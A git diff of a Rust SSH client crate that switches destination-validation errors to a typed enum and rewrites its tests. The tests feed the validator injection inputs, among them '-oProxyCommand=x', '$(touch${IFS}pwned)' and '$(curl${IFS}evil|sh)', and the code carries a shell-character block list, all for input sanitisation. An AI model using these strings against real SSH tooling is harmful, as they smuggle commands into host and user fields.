problem: SshDestinationProblem::PortZero, + }, ErrorCategory::Configuration, ), ( diff --git a/linux/crates/session/src/connect/resolve_saved.rs b/linux/crates/session/src/connect/resolve_saved.rs index 8321f9533c..39f1376d4c 100644 --- a/linux/crates/session/src/connect/resolve_saved.rs +++ b/linux/crates/session/src/connect/resolve_saved.rs @@ -41,7 +41,7 @@ fn saved_request(saved: &SavedConnection, drivers: &DriverRegistry) -> Result Credentials::Password { username: saved.username.clone(), @@ -71,7 +71,7 @@ fn saved_request(saved: &SavedConnection, drivers: &DriverRegistry) -> Result Result { +pub fn ssh_config(saved: &SavedSshConfig) -> Result { let destination = SshDestination::new(&saved.host, saved.port, saved.username.clone())?; let mut jump_hosts = Vec::new(); for entry in &saved.jump_hosts { @@ -101,7 +101,9 @@ mod tests { use secrecy::ExposeSecret; use tablepro_core::credentials::{SecretKind, SecretVault}; - use tablepro_core::{ConfigError, SshFailure, TlsConfig, TransportError}; + use tablepro_core::{ + ConfigError, SshDestinationPart, SshDestinationProblem, SshFailure, TlsConfig, TransportError, + }; use tablepro_storage::{KeyringCredentials, KeyringError}; use tablepro_test_support::{ConnectionScript, FakeDriver, FakeSecretVault}; use uuid::Uuid; @@ -291,12 +293,16 @@ mod tests { resolve(blank).await.unwrap_err(), ConnectError::Driver(DriverError::Config(ConfigError::EmptyHost)) ); - assert!(matches!( + assert_eq!( resolve(bad_ssh).await.unwrap_err(), ConnectError::Driver(DriverError::Transport(TransportError::Ssh( - SshFailure::InvalidDestination { .. } + SshFailure::InvalidDestination { + problem: SshDestinationProblem::LeadingDash { + part: SshDestinationPart::Host + } + } ))) - )); + ); } #[tokio::test] diff --git a/linux/crates/ssh/src/destination.rs b/linux/crates/ssh/src/destination.rs index 59379abd08..06b7c13d01 100644 --- a/linux/crates/ssh/src/destination.rs +++ b/linux/crates/ssh/src/destination.rs @@ -1,6 +1,6 @@ use std::fmt; -use tablepro_core::SshFailure; +use tablepro_core::{SshDestinationPart as Part, SshDestinationProblem}; #[derive(Debug, Clone, PartialEq, Eq, Hash)] pub struct SshDestination { @@ -10,7 +10,7 @@ pub struct SshDestination { } impl SshDestination { - pub fn new(host: impl AsRef, port: Option, user: Option) -> Result { + pub fn new(host: impl AsRef, port: Option, user: Option) -> Result { let trimmed = host.as_ref().trim(); let host = trimmed .strip_prefix('[') @@ -18,7 +18,7 @@ impl SshDestination { .unwrap_or(trimmed); check_part(Part::Host, host)?; if port == Some(0) { - return Err(invalid("port 0 is not a valid port")); + return Err(SshDestinationProblem::PortZero); } if let Some(user) = &user { check_part(Part::User, user)?; @@ -30,14 +30,14 @@ impl SshDestination { }) } - pub fn parse_jump_list(list: &str) -> Result, SshFailure> { + pub fn parse_jump_list(list: &str) -> Result, SshDestinationProblem> { if list.trim().is_empty() { return Ok(Vec::new()); } list.split(',').map(|entry| Self::parse(entry.trim())).collect() } - fn parse(entry: &str) -> Result { + fn parse(entry: &str) -> Result { let (user, rest) = match entry.rsplit_once('@') { Some((user, rest)) => (Some(user.to_owned()), rest), None => (None, entry), @@ -45,7 +45,7 @@ impl SshDestination { let (host, port) = if let Some(bracketed) = rest.strip_prefix('[') { let (host, after) = bracketed .split_once(']') - .ok_or_else(|| invalid("an IPv6 host is missing its closing ']'"))?; + .ok_or(SshDestinationProblem::UnclosedBracket)?; match after { "" => (host, None), _ => (host, Some(parse_port(after.strip_prefix(':').unwrap_or(after))?)), @@ -99,100 +99,110 @@ const SHELL_CHARACTERS: &[char] = &['\'', '`', '"', '$', ';', '&', '<', '>', '|' /// ProxyJump value as a comment. const GLOB_AND_COMMENT_CHARACTERS: &[char] = &['*', '?', '[', ']', '#']; -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -enum Part { - Host, - User, +/// A Windows account may be DOMAIN\user; a host name never holds a +/// backslash. +fn allows_backslash(part: Part) -> bool { + part == Part::User } -impl Part { - fn name(self) -> &'static str { - match self { - Self::Host => "host", - Self::User => "user", - } - } - - /// A Windows account may be DOMAIN\user; a host name never holds a - /// backslash. - fn allows_backslash(self) -> bool { - self == Self::User - } - - /// A jump host whose own configuration would trust a key without - /// asking is named in a `Host` line, where `!` negates the pattern. - fn allows_bang(self) -> bool { - self == Self::User - } +/// A jump host whose own configuration would trust a key without +/// asking is named in a `Host` line, where `!` negates the pattern. +fn allows_bang(part: Part) -> bool { + part == Part::User } -fn check_part(part: Part, value: &str) -> Result<(), SshFailure> { - let name = part.name(); +fn check_part(part: Part, value: &str) -> Result<(), SshDestinationProblem> { if value.is_empty() { - return Err(invalid(&format!("the {name} is empty"))); + return Err(SshDestinationProblem::Empty { part }); } if value.starts_with('-') { - return Err(invalid(&format!("the {name} starts with '-'"))); + return Err(SshDestinationProblem::LeadingDash { part }); } if value.chars().any(|c| c.is_whitespace() || c.is_control()) { - return Err(invalid(&format!("the {name} contains spaces or control characters"))); + return Err(SshDestinationProblem::Whitespace { part }); } - if let Some(found) = value.chars().find(|c| { - SHELL_CHARACTERS.contains(c) || GLOB_AND_COMMENT_CHARACTERS.contains(c) || (*c == '!' && !part.allows_bang()) + if let Some(character) = value.chars().find(|c| { + SHELL_CHARACTERS.contains(c) || GLOB_AND_COMMENT_CHARACTERS.contains(c) || (*c == '!' && !allows_bang(part)) }) { - return Err(invalid(&format!("the {name} contains '{found}'"))); + return Err(SshDestinationProblem::Character { part, character }); } // A trailing backslash would escape whatever ssh appends after it. - if value.ends_with('\\') || (!part.allows_backslash() && value.contains('\\')) { - return Err(invalid(&format!("the {name} contains '\\'"))); + if value.ends_with('\\') || (!allows_backslash(part) && value.contains('\\')) { + return Err(SshDestinationProblem::Character { part, character: '\\' }); } Ok(()) } -fn parse_port(text: &str) -> Result { +fn parse_port(text: &str) -> Result { text.parse::() - .map_err(|_| invalid(&format!("'{text}' is not a port number"))) -} - -fn invalid(detail: &str) -> SshFailure { - SshFailure::InvalidDestination { - detail: detail.to_owned(), - } + .map_err(|_| SshDestinationProblem::NotAPort { text: text.to_owned() }) } #[cfg(test)] mod tests { use super::*; + fn character(part: Part, character: char) -> SshDestinationProblem { + SshDestinationProblem::Character { part, character } + } + #[test] - fn destination_rejects_empty_leading_dash_whitespace_control_and_port_zero() { - let rejected = [ - SshDestination::new("", None, None), - SshDestination::new("-oProxyCommand=x", None, None), - SshDestination::new("bastion host", None, None), - SshDestination::new("bastion\u{7}", None, None), - SshDestination::new("bastion", Some(0), None), - SshDestination::new("bastion", None, Some("-lroot".to_owned())), - SshDestination::new("bastion", None, Some(String::new())), - SshDestination::new("$(touch${IFS}pwned)", None, None), - SshDestination::new("bastion;id", None, None), - SshDestination::new("bastion`id`", None, None), - SshDestination::new("bastion|id", None, None), - SshDestination::new("bastion\\x", None, None), - SshDestination::new("bastion", None, Some("ops'x".to_owned())), - SshDestination::new("bastion", None, Some("ops\\".to_owned())), - SshDestination::new("jump*", None, None), - SshDestination::new("jump?", None, None), - SshDestination::new("!jump", None, None), - SshDestination::new("jump#1", None, None), - SshDestination::new("bastion", None, Some("#ops".to_owned())), - SshDestination::new("bastion", None, Some("ops*".to_owned())), + fn each_refusal_names_the_part_and_what_is_wrong_with_it() { + let user = |name: &str| SshDestination::new("bastion", None, Some(name.to_owned())); + let cases = [ + ( + SshDestination::new("", None, None), + SshDestinationProblem::Empty { part: Part::Host }, + ), + ( + SshDestination::new("-oProxyCommand=x", None, None), + SshDestinationProblem::LeadingDash { part: Part::Host }, + ), + ( + SshDestination::new("bastion host", None, None), + SshDestinationProblem::Whitespace { part: Part::Host }, + ), + ( + SshDestination::new("bastion\u{7}", None, None), + SshDestinationProblem::Whitespace { part: Part::Host }, + ), + ( + SshDestination::new("bastion", Some(0), None), + SshDestinationProblem::PortZero, + ), + (user("-lroot"), SshDestinationProblem::LeadingDash { part: Part::User }), + (user(""), SshDestinationProblem::Empty { part: Part::User }), + ( + SshDestination::new("$(touch${IFS}pwned)", None, None), + character(Part::Host, '$'), + ), + ( + SshDestination::new("bastion;id", None, None), + character(Part::Host, ';'), + ), + ( + SshDestination::new("bastion`id`", None, None), + character(Part::Host, '`'), + ), + ( + SshDestination::new("bastion|id", None, None), + character(Part::Host, '|'), + ), + ( + SshDestination::new("bastion\\x", None, None), + character(Part::Host, '\\'), + ), + (user("ops'x"), character(Part::User, '\'')), + (user("ops\\"), character(Part::User, '\\')), + (SshDestination::new("jump*", None, None), character(Part::Host, '*')), + (SshDestination::new("jump?", None, None), character(Part::Host, '?')), + (SshDestination::new("!jump", None, None), character(Part::Host, '!')), + (SshDestination::new("jump#1", None, None), character(Part::Host, '#')), + (user("#ops"), character(Part::User, '#')), + (user("ops*"), character(Part::User, '*')), ]; - for result in rejected { - assert!( - matches!(result, Err(SshFailure::InvalidDestination { .. })), - "{result:?}" - ); + for (result, expected) in cases { + assert_eq!(result, Err(expected)); } let accepted = SshDestination::new(" bastion.example.com ", Some(2222), Some("deploy".to_owned())).unwrap(); assert_eq!(accepted.host(), "bastion.example.com"); @@ -203,17 +213,33 @@ mod tests { #[test] fn a_jump_hop_with_shell_characters_is_refused() { - for list in ["$(curl${IFS}evil|sh)", "ops@jump1,`id`", "jump1&id", "ops;id@jump1"] { - assert!( - matches!( - SshDestination::parse_jump_list(list), - Err(SshFailure::InvalidDestination { .. }) - ), - "{list}" - ); + let cases = [ + ("$(curl${IFS}evil|sh)", character(Part::Host, '$')), + ("ops@jump1,`id`", character(Part::Host, '`')), + ("jump1&id", character(Part::Host, '&')), + ("ops;id@jump1", character(Part::User, ';')), + ]; + for (list, expected) in cases { + assert_eq!(SshDestination::parse_jump_list(list), Err(expected), "{list}"); } } + #[test] + fn a_bad_jump_hop_says_which_part_is_wrong() { + assert_eq!( + SshDestination::parse_jump_list("jump1,,jump2"), + Err(SshDestinationProblem::Empty { part: Part::Host }) + ); + assert_eq!( + SshDestination::parse_jump_list("jump1:ssh"), + Err(SshDestinationProblem::NotAPort { text: "ssh".to_owned() }) + ); + assert_eq!( + SshDestination::parse_jump_list("[fd00::1:22"), + Err(SshDestinationProblem::UnclosedBracket) + ); + } + #[test] fn jump_list_parses_user_port_and_ipv6() { let hops = @@ -230,7 +256,5 @@ mod tests { ] ); assert_eq!(SshDestination::parse_jump_list(" ").unwrap(), Vec::new()); - assert!(SshDestination::parse_jump_list("jump1,,jump2").is_err()); - assert!(SshDestination::parse_jump_list("jump1:ssh").is_err()); } } diff --git a/linux/crates/ssh/src/known_hosts.rs b/linux/crates/ssh/src/known_hosts.rs index 00c51aac71..3132d216ae 100644 --- a/linux/crates/ssh/src/known_hosts.rs +++ b/linux/crates/ssh/src/known_hosts.rs @@ -3,7 +3,7 @@ use std::io; use std::path::{Path, PathBuf}; use std::process::Stdio; -use tablepro_core::SshFailure; +use tablepro_core::{SshDestinationPart, SshDestinationProblem, SshFailure}; use tokio::process::Command; use crate::route::{lookup, trace_route}; @@ -88,9 +88,10 @@ pub(crate) async fn forget_known_host( known_hosts: &Path, ) -> Result<(), SshFailure> { if lookup.trim().is_empty() { - return Err(SshFailure::InvalidDestination { - detail: "no host to remove from known_hosts".to_owned(), - }); + return Err(SshDestinationProblem::Empty { + part: SshDestinationPart::Host, + } + .into()); } let keygen_args: Vec = vec![ "-R".into(), @@ -343,7 +344,14 @@ mod tests { let refused = forget_known_host(&services(dir.path()), " ", &known_hosts).await; - assert!(matches!(refused, Err(SshFailure::InvalidDestination { .. }))); + assert_eq!( + refused, + Err(SshFailure::InvalidDestination { + problem: SshDestinationProblem::Empty { + part: SshDestinationPart::Host + } + }) + ); } #[test]